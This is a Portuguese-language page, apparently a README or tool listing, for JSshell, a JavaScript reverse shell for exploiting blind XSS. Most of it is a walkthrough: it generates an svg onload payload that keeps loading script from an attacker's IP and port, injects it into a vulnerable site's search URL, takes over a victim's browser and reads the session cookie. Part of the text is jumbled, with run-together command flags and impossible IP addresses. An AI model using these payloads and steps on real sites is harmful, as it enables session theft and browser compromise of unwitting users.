
JSshell - shell JavaScript reverso/remoto

JSshell - um reverse shell JavaScript. Isso é usado para executar código JS remotamente, explorando XSS cego, ...
Requisitos: Qualquer SO + Python 2 ou Python 3
Atualizado na nova versão do JShell 3.1:
snippet -> permite escrever um trecho de código javascript>>> snippet
Use CTRL+D to finish the snippet
function new() {
new = 'New update: Support javascript snippet =)';
confirm(new)
}
new()
>>>
<body>-g-p-s-w-cjsh.pyjsh.py -gjsh.py -p 1234jsh.py -s 48.586.1.23 -gjsh.py -c "alert(document.cookie)" -w 10Este é um exemplo passo a passo de como usar o JSshell.
Primeiro, precisamos gerar um payload de reverse JS shell e definir o timeout do shell (por exemplo, 20 segundos):
~# whoami
root
~# ls
README.md jsh.py
~# python3 jsh.py -g -w 20
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Agora cole este payload no site:
https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>
Acesse a página e teremos o reverse JS shell:
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help This help
exit, quit Exit the JS shell
$
Vamos executar alguns comandos:
$ var test = 'controlled'
$ confirm(test)
$
E um alerta será exibido: controlled
$ prompt(document.cookie)
$
E o navegador exibirá os cookies do usuário: JSESSION=3bda8...
$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#
Agora saiu!
Isso foi criado por shelld3v!